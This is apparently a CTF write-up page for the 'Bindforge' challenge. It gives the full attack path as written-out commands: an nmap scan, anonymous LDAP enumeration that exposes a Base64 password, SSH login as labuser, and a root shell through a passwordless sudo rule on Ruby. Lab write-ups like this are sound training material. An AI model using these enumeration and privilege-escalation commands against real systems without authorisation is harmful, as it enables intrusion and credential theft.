Home›CTF & Writeups›Bindforge

Bindforge

✓ SOLVED

RatCTF — Anonymous LDAP → Credential Disclosure → SSH → Privilege Escalation (Ruby)

1

Overview

Bindforge permitted anonymous LDAP enumeration. A directory attribute exposed a Base64-encoded temporary password, which provided SSH access as labuser. A passwordless Ruby sudo rule then provided root.

User Flag✓
Root Flag✓
PathLDAP
2

Recon — High-Port Services

The challenge advertised LDAP on TCP 32405 and SSH on TCP 32239. An explicit scan confirmed both services.

Nmap
nmap -sC -sV -p 32405,32239 173.230.128.67
3

LDAP Enumeration — Correct Base DN

An initial search against the illustrated base DN failed with No such object. Querying Root DSE revealed the real naming context: dc=lab,dc=local.

Root DSE
ldapsearch -x \
  -H ldap://173.230.128.67:32405 \
  -s base -b "" namingContexts
Anonymous subtree search
ldapsearch -x \
  -H ldap://173.230.128.67:32405 \
  -b "dc=lab,dc=local" \
  "(objectClass=*)"
Key findingThe labuser description field contained a Base64-encoded temporary password. Base64 was encoding, not protection.
4

Foothold — SSH as labuser

The recovered credential authenticated against SSH on port 32239.

SSH
ssh -p 32239 labuser@173.230.128.67
cat user.txt
USER FLAGflag{[REDACTED]}
5

Privilege Escalation — Ruby

sudo -l showed that labuser could execute /usr/bin/ruby as root with no password. Ruby was used to launch Bash as root.

Sudo rule
(root) NOPASSWD: /usr/bin/ruby
Root shell
sudo /usr/bin/ruby -e 'exec "/bin/bash"'
cat /root/root.txt
6

Attack Path

Both flag values are redacted in the public page and screenshots.

Anonymous LDAP→Root DSE→Credential attribute→SSH→sudo Ruby→Root